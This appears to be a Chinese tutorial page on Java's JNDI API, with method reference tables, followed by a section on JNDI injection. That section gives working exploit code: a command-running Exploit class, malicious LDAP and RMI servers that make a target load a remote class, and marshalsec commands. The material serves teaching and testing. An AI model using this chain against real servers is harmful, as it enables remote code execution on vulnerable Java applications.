JNDI注入

1、什么是 JNDI

JNDI(Java Naming and Directory Interface, Java命名和目录接口),JNDI API 映射为特定的命名(Name)和目录服务(Directory)系统,使得Java应用程序可以和这些命名(Name)和目录服务(Directory)之间进行交互,在交互中访问的对象若本地不存在,可以进行远程获取。

JNDI可访问的现有的目录及服务有: DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。

2、JNDI 可以干啥

JDK 提供的 JNDI 功能的包:

  • javax.naming:命名操作,操作的是 Java 对象。它包含了命名服务的类和接口,该包定义了Context 接口和 InitialContext 类
  • javax.naming.directory:目录操作,操作的是 Java 对象的属性。它定义了 DirContext 接口和 InitialDir- Context 类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供LDAP(轻型目录访问协议)支持
  • javax.naming.spi:允许动态插入不同实现

JNDI 主要有两部分组成:应用程序编程接口和服务供应商接口。应用程序编程接口提供了Java应用程序访问各种命名(Name)和目录服务(Directory)的功能,服务供应商接口提供了任意一种服务的供应商使用的功能。

2.1 Name

Name 很好理解,就是命名。将 Java 对象以某个名称的形式绑定(binding)到一个容器环境(Context)中,以后调用容器环境(Context)的查找(lookup)方法又可以查找出某个名称所绑定的 Java 对象。简单来说,就是把一个 Java 对象和一个特定的名称关联在一起,方便容器(Context)后续使用。

2.2 Directory

JNDI 中的目录(Directory)是指将一个对象的所有属性信息保存到一个容器环境中。JNDI的目录(Directory)原理与JNDI的命名(Naming)原理非常相似,主要的区别在于目录容器环境中保存的是对象的属性信息,而不是对象本身。举个例子,Name的作用是在容器环境中绑定一个Person对象,而Directory的作用是在容器环境中保存这个Person对象的属性,比如说age=10,name=小明等等。实际上,二者往往是结合在一起使用的

3、怎么操作 JNDI

jdni 相关 api 操作介绍

3.1 Name

3.1.1 Context 接口和 InitialContext类

Context 是命名服务的核心接口,提供对象查找,绑定/解除绑定,重命名对象,创建和销毁子上下文等操作。

InitialContext 类实现了 Context 接口,是访问命名服务的起始上下文,通过它可查找对象和子上下文。

返回类型

方法

说明

Object

addToEnvironment​(String propName,Object propVal)

将新的环境属性添加到此上下文的环境中。

void

bind​(String name,Object obj)

将名称绑定到对象。

void

bind​(Name name,Object obj)

将名称绑定到对象。

void

close​()

关闭此上下文。

String

composeName​(String name,String prefix)

使用与此上下文相关的名称组成此上下文的名称。

Name

composeName​(Name name,Name prefix)

使用与此上下文相关的名称组成此上下文的名称。

Context

createSubcontext​(String name)

创建并绑定一个新的上下文。

Context

createSubcontext​(Name name)

创建并绑定一个新的上下文。

void

destroySubcontext​(String name)

销毁命名上下文并将其从命名空间中移除。

void

destroySubcontext​(Name name)

销毁命名上下文并将其从命名空间中移除。

Hashtable

getEnvironment​()

检索对此上下文有效的环境。

String

getNameInNamespace​()

在其自己的命名空间中检索此上下文的全名。

NamingEnumeration

list​(String name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象的类名。

NamingEnumeration

list​(Name name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象的类名。

NamingEnumeration

listBindings​(String name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象。

NamingEnumeration

listBindings​(Name name)

枚举在命名上下文中绑定的名称,以及绑定到它们的对象。

Object

lookup​(String name)

检索命名对象。

Object

lookup​(Name name)

检索命名对象。

Object

lookupLink​(String name)

检索命名对象,遵循除名称的终端原子组件之外的链接。

Object

lookupLink​(Name name)

检索命名对象,遵循除名称的终端原子组件之外的链接。

void

rebind​(String name,Object obj)

将名称绑定到对象,覆盖任何现有的绑定。

void

rebind​(Name name,Object obj)

将名称绑定到对象,覆盖任何现有的绑定。

Object

removeFromEnvironment​(String propName)

从此上下文的环境中删除环境属性。

void

rename​(String oldName,String newName)

将新名称绑定到绑定到旧名称的对象,并取消绑定旧名称。

void

rename​(Name oldName, Name newName)

将新名称绑定到绑定到旧名称的对象,并取消绑定旧名称。

void

unbind​(String name)

取消绑定命名对象。

void

unbind​(Name name)

取消绑定命名对象。

3.1.2 Name 接口

对应于命名服务概念中的对象名称。它的具体实现可能是一个简单的字符串,也可能是一个复杂对象。CompoundName 类和 CompositeName 类均实现了 Name 接口,分别代表复合名称和混合名称。

返回类型

方法

描述

Name

add​(int posn,String comp)

在此名称中的指定位置添加单个组件。

Name

add​(String comp)

将单个组件添加到此名称的末尾。

Name

addAll​(int posn,Name n)

在此名称中的指定位置按顺序添加名称的组成部分。

Name

addAll​(Name suffix)

将名称的组成部分按顺序添加到该名称的末尾。

Object

clone​()

生成此名称的新副本。

int

compareTo​(Object obj)

将此名称与另一个名称进行比较以进行排序。

boolean

endsWith​(Name n)

确定此名称是否以指定的后缀结尾。

String

get​(intposn)

检索此名称的组件。

Enumeration

getAll​()

检索此名称的组件作为字符串枚举。

Name

getPrefix​(intposn)

创建一个名称,其组成部分由该名称的组成部分的前缀组成。

Name

getSuffix​(intposn)

创建一个名称,其组件由该名称中的组件的后缀组成。

boolean

isEmpty​()

确定此名称是否为空。

Object

remove​(intposn)

从此名称中删除一个组件。

int

size​()

返回此名称中的组件数。

boolean

startsWith​(Name n)

确定此名称是否以指定前缀开头。

3.1.3 Binding 类

Binding 类对应于命名服务概念中的绑定。一个Binding包含对象名称,对象的类名称,对象本身。

返回类型

方法

描述

String

getClassName​()

检索绑定到此绑定名称的对象的类名称。

Object

getObject​()

检索绑定到此绑定名称的对象。

void

setObject​(Object obj)

设置与此绑定关联的对象。

String

toString​()

生成此绑定的字符串表示形式。

3.1.4 Referenceable 接口和 Reference类

命名服务中对象的存储方式各不相同。有的将对象直接序列化,这时实现标准的 Serializable 接口接口。有的要将对象存储在命名系统外部,这就要用到 Referenceable 接口和 Reference 类了。Reference类包含了怎样构造出一个实际对象的信息,实际对象则需要实现Referenceable接口。

当将一个实现了 Referenceable 接口的对象绑定到 Context 时,实际上通过 getReference() 得到它的 Reference 进行绑定。而如何从 Reference 中创建出 Referenceable 实例,则由具体的SPI实现,JNDI客户不用关心。  

Referenable 接口:

返回类型

方法

描述

Reference

getReference​()

检索此对象的引用。

Reference 类:

类型

方法

描述

void

add​(int posn,RefAddr addr)

将地址添加到索引 posn 处的地址列表。

void

add​(RefAddr addr)

将地址添加到地址列表的末尾。

void

clear​()

从此引用中删除所有地址。

Object

clone​()

使用其地址的类名列表、类工厂名称和类工厂位置制作此引用的副本。

boolean

equals​(Object obj)

确定 obj 是否是与此引用具有相同地址(以相同顺序)的引用。

RefAddr

get​(int posn)

检索索引 posn 处的地址。

RefAddr

get​(String addrType)

检索具有地址类型“addrType”的第一个地址。

Enumeration

getAll​()

检索此引用中地址的枚举。

String

getClassName​()

检索此引用所引用的对象的类名。

String

getFactoryClassLocation​()

检索此引用所指对象的工厂位置。

String

getFactoryClassName​()

检索此引用所指对象的工厂的类名。

int

hashCode​()

计算此引用的哈希码。

Object

remove​(int posn)

从地址列表中删除索引 posn 处的地址。

int

size​()

检索此引用中的地址数。

String

toString​()

生成此引用的字符串表示形式。

3.2 Directory

3.2.1 DirContext 接口和 InitialDirContext 类

DirContext 是目录服务的核心接口,它扩展了 Context 接口,除了提供了命名服务的各种操作外,还提供了访问和更新目录对象属性的操作,以及 Search 操作。

InitialDirContext 类扩展 InitialContext 类并实现了DirContext接口,是访问目录服务的起始点。

binding/rebing/unbinding 等方法与 Context 类似,区别是各个方法中均添加了 Attributes 参数,表示绑定的是一个目录对象,其中有对象本身,还有对象的属性集合。这里不再列举。

返回类型

方法

描述

void

bind​(String name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象。

void

bind​(Name name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象。

DirContext

createSubcontext​(String name,Attributes attrs)

创建并绑定一个新的上下文,以及关联的属性。

DirContext

createSubcontext​(Name name,Attributes attrs)

创建并绑定一个新的上下文,以及关联的属性。

Attributes

getAttributes​(String name)

检索与命名对象关联的所有属性。

Attributes

getAttributes​(String name,String[] attrIds)

检索与命名对象关联的选定属性。

Attributes

getAttributes​(Name name)

检索与命名对象关联的所有属性。

Attributes

getAttributes​(Name name,String[] attrIds)

检索与命名对象关联的选定属性。

DirContext

getSchema​(String name)

检索与命名对象关联的架构。

DirContext

getSchema​(Name name)

检索与命名对象关联的架构。

DirContext

getSchemaClassDefinition​(String name)

检索包含命名对象的类定义的架构对象的上下文。

DirContext

getSchemaClassDefinition​(Name name)

检索包含命名对象的类定义的架构对象的上下文。

void

modifyAttributes​(String name, int mod_op,Attributes attrs)

修改与命名对象关联的属性。

void

modifyAttributes​(String name,ModificationItem[] mods)

使用有序的修改列表修改与命名对象关联的属性。

void

modifyAttributes​(Name name, int mod_op,Attributes attrs)

修改与命名对象关联的属性。

void

modifyAttributes​(Name name,ModificationItem[] mods)

使用有序的修改列表修改与命名对象关联的属性。

void

rebind​(String name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象,覆盖任何现有的绑定。

void

rebind​(Name name,Object obj,Attributes attrs)

将名称与关联的属性绑定到对象,覆盖任何现有的绑定。

NamingEnumeration

search​(String name,String filterExpr,Object[] filterArgs,SearchControls

 cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(String name,String filter,SearchControls cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(String name,Attributes matchingAttributes)

在单个上下文中搜索包含指定属性集的对象。

NamingEnumeration

search​(String name,Attributes matchingAttributes,String[] attributesToReturn)

在单个上下文中搜索包含指定属性集的对象,并检索选定的属性。

NamingEnumeration

search​(Name name,String filterExpr,Object[] filterArgs,SearchControls cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(Name name,String filter,SearchControls cons)

在命名上下文或对象中搜索满足给定搜索过滤器的条目。

NamingEnumeration

search​(Name name,Attributes matchingAttributes)

在单个上下文中搜索包含指定属性集的对象。

NamingEnumeration

search​(Name name,Attributes matchingAttributes,String[] attributesToReturn)

在单个上下文中搜索包含指定属性集的对象,并检索选定的属性。

3.2.2 Attribute接口和Attributes接口

Attribute接口对应于目录服务概念中的属性。Attributes表示属性的集合。

3.2.3 SearchResult类和SearchControls类

SearchResult类继承自Binding类,表示DirContext的search操作的结果。SearchControls类用于对搜索操作进行更精细的控制,如指定搜索范围(Scope),时间限制(TimeLimit)和结果数量限制(CountLimit)。

3.3 Event

命名和目录服务事件 API javax.naming.event

1、EventContext 接口和 EventDirContext 接口分别表示支持事件通知的上下文,提供了添加和删除事件监听器的操作。

2、NamingEvent 类命名和目录服务产生的事件。包含一个type表示不同的事件类型。

3、NamingListener/NamespaceChangeListener/ObjectChangeListener/NamingListener 是处理NamingEvent事件监听器的接口,NamespaceChangeListener 和 ObjectChangeListener 是它的两个子接口,分别定义了各自感兴趣的 NamingEvent 事件类型的处理方法。

4、JNDI注入

攻击者开启的 ldap 或者 rmi 服务器,部署恶意的类,让目标机器请求。

Exploit.java

import java.io.BufferedReader;
import java.io.InputStreamReader;public class Exploit {public Exploit() throws Exception {Process proc = Runtime.getRuntime().exec("calc");BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));StringBuffer sb = new StringBuffer();String line;while((line = br.readLine()) != null) {sb.append(line).append("\n");}String result = sb.toString();Exception e = new Exception(result);throw e;}public static void main(String[] args) throws Exception {}
}

4.1 LDAP+JNDI远程加载恶意类

LdapClient.java

import javax.naming.InitialContext;
import javax.naming.NamingException;public class LdapClient {public static void main(String[] args) throws NamingException {Object object=new InitialContext().lookup("ldap://127.0.0.1:7777/Exploit");
}}

LdapServer.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;public class LdapServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main(String[] tmp_args) {System.out.println("start running ldap server"); //$NON-NLS-1$String[] args=new String[]{"http://127.0.0.1:8888/#Exploit"};int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}public static void run() {System.out.println("start running ldap server"); //$NON-NLS-1$String[] args=new String[]{"http://127.0.0.1:8888/#Log4j2RCE"};int port = 1389;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen", //$NON-NLS-1$InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;public OperationInterceptor ( URL cb ) {this.codebase = cb;}@Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "foo");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

4.2 RMI+JNDI远程加载恶意类

RmiClient.java

import javax.naming.Context;
import javax.naming.InitialContext;public class RmiClient {public static void main(String[] args) throws Exception {String uri = "rmi://127.0.0.1:1099/aa";Context ctx = new InitialContext();ctx.lookup(uri);}
}

RmiServer.java

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;public class RmiServer {public static void main(String args[]) throws Exception {Registry registry = LocateRegistry.createRegistry(1099);Reference ref = new Reference("ExecTest", "ExecTest", "http://127.0.0.1:8081/");ReferenceWrapper exploitWrapper = new ReferenceWrapper(ref);System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/Exploit'");registry.bind("Exploit", exploitWrapper);}
}

4.3 JNDI 涉及的工具

marshalsec 开启 ldap/rmi 服务,项目地址:GitHub - mbechler/marshalsec,下载的包需要编译,java8 环境下使用 maven 进行编译

mvn clean package -DskipTests

1)python 开启自带的 http 服务,默认当前目录为 web 目录

python3 -m http.server 8888

2)将恶意类的 java 文件放到 web 目录,javac 进行编译

javac Exploit.java

3)marshalsec 开启恶意的 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

4)marshalsec 开启恶意的 rmi 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.2.18:8888/#ExportObject

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/142622.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Shell脚本11】Shell 函数

Shell 函数 linux shell 可以用户定义函数,然后在shell脚本中可以随便调用。 shell中函数的定义格式如下: [ function ] funname [()]{action;[return int;]}说明: 1、可以带function fun() 定义,也可以直接fun() 定义,不带任何…

旺店通·企业版对接打通金蝶云星空查询调拨单接口与分布式调入单新增接口

旺店通企业版对接打通金蝶云星空查询调拨单接口与分布式调入单新增接口 源系统:旺店通企业版 旺店通是北京掌上先机网络科技有限公司旗下品牌,国内的零售云服务提供商,基于云计算SaaS服务模式,以体系化解决方案,助力零售企业数字化…

Android framework添加自定义的Product项目,lunch目标项目

文章目录 Android framework添加自定义的Product项目1.什么是Product?2.定义自己的Product玩一玩 Android framework添加自定义的Product项目 1.什么是Product? 源码目录下输入lunch命令之后,简单理解下面这些列表就是product。用于把系统编…

如何显示标注的纯黑mask图

文章目录 前言一、二分类mask显示二、多分类mask显示 前言 通常情况下,使用标注软件标注的标签图看起来都是纯黑的,因为mask图为单通道的灰度图,而灰度图一般要像素值大于128后,才会逐渐显白,255为白色。而标注的时候…

sass 生成辅助色

背景 一个按钮往往有 4 个状态。 默认状态hover鼠标按下禁用状态 为了表示这 4 个状态&#xff0c;需要设置 4 个颜色来提示用户。 按钮类型一般有 5 个&#xff1a; 以 primary 类型按钮为例&#xff0c;设置它不同状态下的颜色&#xff1a; <button class"btn…

IP-guard Webserver view 远程命令执行漏洞【2023最新漏洞】

IP-guard Webserver view 远程命令执行漏洞【2023最新漏洞】 一、漏洞描述二、漏洞影响三、漏洞危害四、FOFA语句五、漏洞复现1、手动复现yaml pocburp发包 2、自动化复现小龙POC检测工具下载地址 免责声明&#xff1a;请勿利用文章内的相关技术从事非法测试&#xff0c;由于传…

R程序 示例4.3.2版本包 在centos进行编译部署

为了在CentOS上下载和编译R语言4.3.2包&#xff0c;可以按照以下步骤进行操作&#xff1a; 1.首先&#xff0c;需要安装一些必要的依赖项。可以使用以下命令安装它们&#xff1a; sudo yum install -y epel-release sudo yum install -y gcc gcc-c gcc-gfortran readline-dev…

Linux 使用随记

Linux 使用随记 shell 命令行模式登录后所取得的程序被成为shell&#xff0c;这是因为这个程序负责最外层的跟用户&#xff08;我们&#xff09;通信工作&#xff0c;所以才被戏称为shell。 命令 1、命令格式 command [-options] parameter1 parameter2 … 1、一行命令中第…

C#几种截取字符串的方法

在C#编程中&#xff0c;经常需要对字符串进行截取操作&#xff0c;即从一个长字符串中获取所需的部分信息。本文将介绍几种常用的C#字符串截取方法&#xff0c;并提供相应的示例代码。 目录 1. 使用Substring方法2. 使用Split方法3. 使用Substring和IndexOf方法4. 使用Regex类…

HBase学习笔记(3)—— HBase整合Phoenix

目录 Phoenix Shell 操作 Phoenix JDBC 操作 Phoenix 二级索引 HBase整合Phoenix Phoenix 简介 Phoenix 是 HBase 的开源 SQL 皮肤。可以使用标准 JDBC API 代替 HBase 客户端 API来创建表&#xff0c;插入数据和查询 HBase 数据 使用Phoenix的优点 在 Client 和 HBase …

uni-app报错“本应用使用HBuilderX x.x.x 或对应的cli版本编译,而手机端SDK版本是x.x.x不匹配的版本可能造成应用异常”

uniapp开发的一个跨平台软件&#xff0c;在安卓模拟器上启动的时候报警告&#xff1a; 官方给的解释&#xff1a;uni-app运行环境版本和编译器版本不一致的问题 - DCloud问答 解决办法有两个 方法一&#xff1a;添加忽略警告的配置 项目根目录下找到 manifest.json&#xf…

计算机毕业设计 基于SpringBoot的销售项目流程化管理系统的设计与实现 Java实战项目 附源码+文档+视频讲解

博主介绍&#xff1a;✌从事软件开发10年之余&#xff0c;专注于Java技术领域、Python人工智能及数据挖掘、小程序项目开发和Android项目开发等。CSDN、掘金、华为云、InfoQ、阿里云等平台优质作者✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精…

微信小程序 解决tab页切换过快 数据出错问题

具体问题&#xff1a;切换tab页切换过快时,上一个列表接口未响应完和当前列表数据冲突 出现数据错误 具体效果如下&#xff1a; 解决方式&#xff1a;原理 通过判断是否存在request 存在中断 并发送新请求 不存在新请求 let shouldAbort false; // 添加一个中断标志 let re…

量化交易:使用 python 进行股票交易回测

执行环境: Google Colab 1. 下载数据 import yfinance as yfticker ZM df yf.download(ticker) df2. 数据预处理 df df.loc[2020-01-01:].copy()使用了 .loc 方法来选择索引为 ‘2020-01-01’ 以后的所有行数据。通过 .copy() 方法创建了一个这些数据的副本&#xff0c;确…

星宿UI2.51资源付费变现小程序 支持流量主广告投放

目前&#xff0c;最新版的星宿UI是2.51版本。要搭建星宿UI&#xff0c;您需要准备备用域名、服务器和微信小程序账号。星宿UI提供了多项功能&#xff0c;包括文章展示、文章分类、资源链接下载和轮播图等。此外&#xff0c;还支持直接下载附件功能。这些功能使得星宿UI非常适合…

阶段七-Day01-SpringMVC

一、Sping MVC的介绍 1. 使用Front(前端)设计模式改写代码 1.1 目前我们的写法 目前我们所写的项目&#xff0c;持久层、业务层的类都放入到Spring容器之中了。他们之间需要注入非常方便&#xff0c;只需要通过Autowired注解即可。 但是由于Servlet整个生命周期都是被Tomca…

【开发工具】gitee还不用会?我直接拿捏 >_>

&#x1f308;键盘敲烂&#xff0c;年薪30万&#x1f308; 目录 git的一些前置操作 如何获取本地仓库 本地仓库的操作 远程仓库操作 合并两个仓库&#xff08;通用方法&#xff09; 从远程仓库拉取文件报错 fatal:refusing to merge unrelated histories 分支操作 注意&…

详解 KEIL C51 软件的使用·建立工程

单片机要运行,就必须将程序代码下载到程序存储器内部,但是在写进单片机之前要先将你写 的程序转换成*.hex 或*.bin 的文件.不同系列的单片机都有不同的软件对其进行编绎,而 keil Cx51 是德国开发的一个专为 51 系列单片机提供的软件开发平台,基本上现在的所有 51 系列内核的单片…

雷达波形及MATLAB仿真

文章目录 前言一、雷达波形二、Matlab 仿真1、SFW 的距离分辨率和距离模糊①、MATLAB 源码②、仿真结果 三、资源自取 前言 本文对雷达波形的内容以思维导图的形式呈现&#xff0c;有关仿真部分进行了讲解实现。 一、雷达波形 思维导图如下图所示&#xff0c;如有需求请到文章…